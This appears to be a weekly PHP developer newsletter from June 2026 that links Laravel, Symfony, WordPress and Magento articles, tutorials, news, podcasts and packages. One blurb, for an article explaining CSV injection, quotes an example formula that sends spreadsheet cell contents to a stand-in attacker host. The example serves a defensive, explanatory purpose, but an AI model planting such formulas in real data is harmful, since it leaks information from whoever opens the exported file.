Hi everyone,
The heat is cranking up this week, but we hope you're all keeping cool. In this week's newsletter, we have news on Jetbrain's collaboration with LinkedIn to make it easier for you to showcase your expertise with JetBrains IDEs. Artisan Build has put up a summary of recent updates on PHP Internals on YouTube. You can find them in our News section. In Tutorials this week we have guides on How to Automate Image Compression with an API, Building a Real-Time Multiplayer Game, and Migrating a Magento 2 store from utf8 to utf8mb4 without losing data. Finally in our Reading section we have articles on Mastering Symfony Security, Passports and Custom Authenticators, How to Write Clean, Modular PHP Code, and What are Evals Anyway?
We have all that and more, so we do hope you enjoy this week's newsletter. If you have an article, tutorial or podcast that you would like to be featured in our newsletter, feel free to reach out to us at [email protected].
All the best,
Adrian
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Articles
How We Cached Laravel News at the Edge with Fast Laravel
I sat down with JMac for the Laravel Creator Series to talk about something we just finished on our end: caching Laravel News at the edge using his Fast Laravel course and Cloudflare. We treated the site as a case study, and now that it's deployed, we wanted to share what we did and where we got stuck.
10 PHP Bugs That Break Real Projects — And How to Fix Them (Part 2)
Every PHP developer has lived this moment. Code works perfectly on localhost. You push to production. Something silently breaks — no error, no log, just wrong output and a few wasted hours tracing the problem.
The Tips Behind API Artisan: Building Laravel APIs Developers Actually Want to Use
I have just finished writing API Artisan: A Guide to Building APIs with Laravel, and I am giving it away for free. Before you commit to 300-odd pages, let me give you the short version: the tips, patterns, and small decisions that separate an API that technically works from one that developers are genuinely happy to depend on.
A Day of Performance Hardening: Hunting N+1s and Killing Wasted Queries in Laravel
Performance work has a reputation for being glamorous — the heroic "we cut latency by 80%" story. Most days it's not that. Most days it's a janitorial pass: you go looking for the queries you're firing without realizing it, and you quietly delete them.
WordPress Memory Limit: How to Find What’s Eating Your PHP Memory
Every “fix memory exhausted” article tells you the same thing – bump WP_MEMORY_LIMIT to 256M and move on. That’s not a fix. That’s duct tape. The real question nobody answers is: what’s eating your memory in the first place?
Test-Driven Development in Laravel: The Red-Green-Refactor Loop
We’ve all been there. You have a new feature to build. You open your IDE, create a Controller, start wiring up the logic, maybe add some validation, and then, hours later, you finally write a test to make sure it actually works. Or, if we’re being honest, maybe you don’t write the test at all.
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Tutorials and Talks
Ship AI with Laravel: Give Your AI Agent Live Web Search
In this episode we fix that by giving the agent access to the live web. The SDK ships with two provider tools: WebSearch to find information online and WebFetch to read a specific page. The provider handles the actual searching, so we just configure which domains to allow and how many results to return.
How to Automate Image Compression with an API: A Node.js & PHP Guide
Images are still the single heaviest asset on most web pages, and one unoptimized hero shot can wreck your Largest Contentful Paint (LCP) before a line of your JavaScript even runs.
Migrating a Magento 2 store from utf8 to utf8mb4 without losing data
A customer signed up with an emoji in their display name, and the row saved with everything after the emoji chopped off. No error in the log. The column was utf8, and in MySQL utf8 has never been real UTF-8.
Solving "Permissions are too open" from inside the app — auto-diagnosing and auto-fixing SSH key permissions
Here's the design behind solving this inside the app — diagnose, confirm, then auto-fix — and how the phases broke out.
How to Build a WordPress Plugin Licensing System from Scratch (Without Freemius)
If you're shipping a commercial WordPress plugin, sooner or later you'll need a licensing system. Something that lets paying customers activate the plugin on their site, locks it to that domain, and stops people from sharing the same key across fifty sites.
Building a Real-Time Multiplayer Game with Laravel and KAAL Realtime
Real-time multiplayer games are often associated with complex architectures involving WebSockets, Socket.IO, Redis, event brokers, and custom synchronization layers.
Stop Blaming PHP: How to Fix the Silent Database Killers in Your Laravel App
The truth is, PHP isn’t slow. Your framework isn’t slow. Your database queries are just poorly optimized. |
News and Announcements
Your JetBrains IDE Expertise, Now on LinkedIn
We’re collaborating with LinkedIn to make it easier for you to showcase your expertise with JetBrains IDEs on the world’s largest professional network. You can now connect your IDE to LinkedIn and let your real tool usage speak for itself.
References — This Week in PHP Internals, June 10–17, 2026
Generics, New language proposals, Governance & process, Modules, Other RFCs & extensions.
The artisan dev Command in Laravel 13.16.0
The Laravel team released v13.16.0 with a new artisan dev command for running your development processes, an enum-aware request helper, a withCookies() method on all responses, and an array-based maintenance mode driver for parallel testing.
Watch the Teaser for 'The Story of PHP' Documentary
CultRepo just released a teaser for "The Story of PHP", an upcoming documentary about the language that powers Laravel and a huge share of the web. The film is sponsored by JetBrains, and CultRepo says to expect the full release later this year.
June 15–21, 2026 - A Week of Symfony #1016
This week, the Symfony book published its update for Symfony 8.1 in multiple languages. Meanwhile, we completed the New in Symfony 8.1 series, continued the New in Twig 4.0 series with articles about the sandbox and expression parsers, and launched a new series about Symfony AI. Finally, we released new Symfony UX versions to address two security issues.
Symfony UX 3.2.0 and 2.36.1 released
Symfony UX 3.2.0 and 2.36.1 are now available. Both releases fix two security issues, one in UX Icons and one in UX Toolkit, so every application using these packages should upgrade as soon as possible. On top of the security fixes, version 3.2.0 ships several new features for TwigComponent, Toolkit and Native.
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Podcasts and Vlogs
The Stack Overflow: Oh the places you’ll go with spatial data
Ryan is joined by Jeffrey Hightower, VP of Places Data at Microsoft, and Amy Rose, CTO of the Overture Maps Foundation, to chat about their partnership in bringing spatial data to the next generation of Microsoft tools; how Overture’s 50 organization members are creating open, standardized, and interoperable global spatial data sets.
No Compromises Podcast: What is really inside the AI tools you blindly install
In the latest episode of the No Compromises podcast, we discuss whether developers are reading the AI skills they install and why it actually matters.
North Meets South Podcast: Ten years of the show, conference ticketing, and database access
In this milestone 10-year anniversary episode of North Meets South, Michael and Jake reflect on a decade of podcasting, from their first awkward recordings and early Laravel community connections to the friendships, conferences, and recurring topics that have shaped the show over nearly 200 episodes.
Software Engineering Radio: SE Radio 725: Danny Yang and Sam Goldman on the Pyrefly Type Checker
Danny Yang and Sam Goldman, both software engineers at Meta, speak with host Gregory M. Kapfhammer about the Rust-based Pyrefly type checker for Python. After a look at the foundational concepts for annotating and checking types for Python programs, Danny and Sam present a deep dive of the implementation of Pyrefly.
Developer Tea: Software Engineering Principles That Still Hold Up in an Agentic World - Old Lessons Made New
The skills problem isn't going anywhere — it's just wearing new clothes. In this episode, I unpack how the lessons we learned decades ago (limiting work in progress, the theory of constraints, test-driven development) are coming roaring back as the fundamentals that will carry you through the agentic shift. The bottleneck has moved, and knowing where it went changes how you should work.
Shoptalk Show: TypeScript Complaints, Slowing Down, and AT Proto Protocols
In praise of a solid Shure microphone (sponsor??), AI being really helpful in certain situations, TypeScript complaints about complaining, TypeScript at CodePen, should we all slow down a bit, CI jail and work trees, AT Proto and related protocols, interestForElement in HTML, and how many spoons do you have left for Clues by Sam?
WP Builds: 472 – Selling Products in YouTube Videos With WooCommerce
The conversation focused on the integration between WooCommerce and YouTube, enabling merchants to showcase and sell products directly through their YouTube channels.
Laravel Podcast: Inside Laravel's Starter Kits with Wendell Adriel
In this episode, Matt Stauffer sits down with Wendell Adriel, senior software engineer on the Laravel team, to trace his path from a small town in Brazil to working on open source full time.
PHP Architect: The PHP Podcast 2026.06.17
Paul Reinheimer and Sean Coates are PHP veterans from an earlier era — both were closely involved with PHP Architect around 2005–2010, back when Sara was already a PHP core contributor and the community was small enough to fit in one bar.
Mostly Technical: 137: You Do Have To Care w/ John Drexler & Daniel Coulbourne
Aaron is joined by John & Daniel of Thunk to talk about why you should think like a PM, what they want to see from Solo, trash cans in New York, "footy", and a whole lot more.
Syntax: Anthropic doesn’t use AI
Scott, Wes, and CJ reunite fresh off a trip to Amsterdam to chat conferences, burnout, and whether Anthropic actually uses AI. They also dig into a packed bag of sick picks and tech news, including HTML streaming in Chrome, an image-to-ASCII generator, and a wild Arch Linux supply chain attack.
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Mastering Symfony Security, Passports and Custom Authenticators
In the PHP ecosystem, Symfony has long been the reference framework for high-performance, enterprise-grade applications. However, prior to Symfony 5.3 and continuing into the refined releases of Symfony 7.4 and 8.1, the framework’s security component was notoriously complex.
What are Evals Anyway?
Developers are used to writing tests with clear outcomes – either the test passes, or it doesn’t. There’s no ambiguity in the signal, unless the test itself is flaky and needs fixing.
CSV injection: the export button that runs code on someone else's machine
A customer fills in their name. They type =HYPERLINK("http://evil.example/?leak="&A2,"click"). Your validation passes. It's just text, after all. Weeks later someone on your finance team exports the customer list to CSV, opens it in Excel, and that cell stops being text. It becomes a formula.
Architecture Decision Record
An Architecture Decision Record (ADR) is a short document that captures and explains a single decision relevant to a product or ecosystem. Documents should be short, just a couple of pages, and contain the decision, the context for making it, and significant ramifications.
How PHP Attributes Changed the Way I Write Livewire
I've been writing Livewire components for years now. I love the framework. It does for full-stack PHP what nothing else really has: it lets me build genuinely interactive UIs without leaving the language I actually enjoy writing.
How to Write Clean, Modular PHP Code
Modularity isn’t a style preference; it’s what keeps a codebase changeable as it grows. Here’s how to get there, with concrete before-and-after examples.
Mastering Symfony Security, Passports and Custom Authenticators #1
Security is the cornerstone of any modern web application, but historically, implementing robust authentication and authorization mechanisms has been plagued by accidental complexity, rigid abstractions and boilerplate code.
I Replaced JSON With a Custom Binary Format. In PHP.
We need to store rich text used for web, apps, UIs and editable in editor.
How Laravel Resolves Controller Dependencies Behind the Scenes
I was looking into what actually happens after we define a controller route in Laravel. Most of the time, when we work with Laravel, we simply define a route inside web.php or api.php.
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Interesting Projects, Tools and Libraries
mlocati/spf-lib
Parse, build and validate SPF (Sender Policy Framework) DNS records.
clue/phar-composer
Simple phar creation for any project managed via Composer.
rdx/behat-variables
Store variables across Scenarios during Behat testing.
mage-os/magento-cache-clean
A faster drop in replacement for bin/magento cache:clean with file watcher.
mtownsend/remove-bg
A PHP package to interface with the remove.bg api.
spiral/dumper
Dumper for PHP variables based on Symfony VarDumper for Spiral Framework and RoadRunner.
macpaw/symfony-health-check-bundle
Symfony health check bundle.
simple-bus/symfony-bridge
Bridge for using command buses and event buses in Symfony projects.
utopia-php/cache
A simple cache library to manage application cache storing, loading and purging.
tecnickcom/tc-lib-unicode
PHP library containing Unicode methods.
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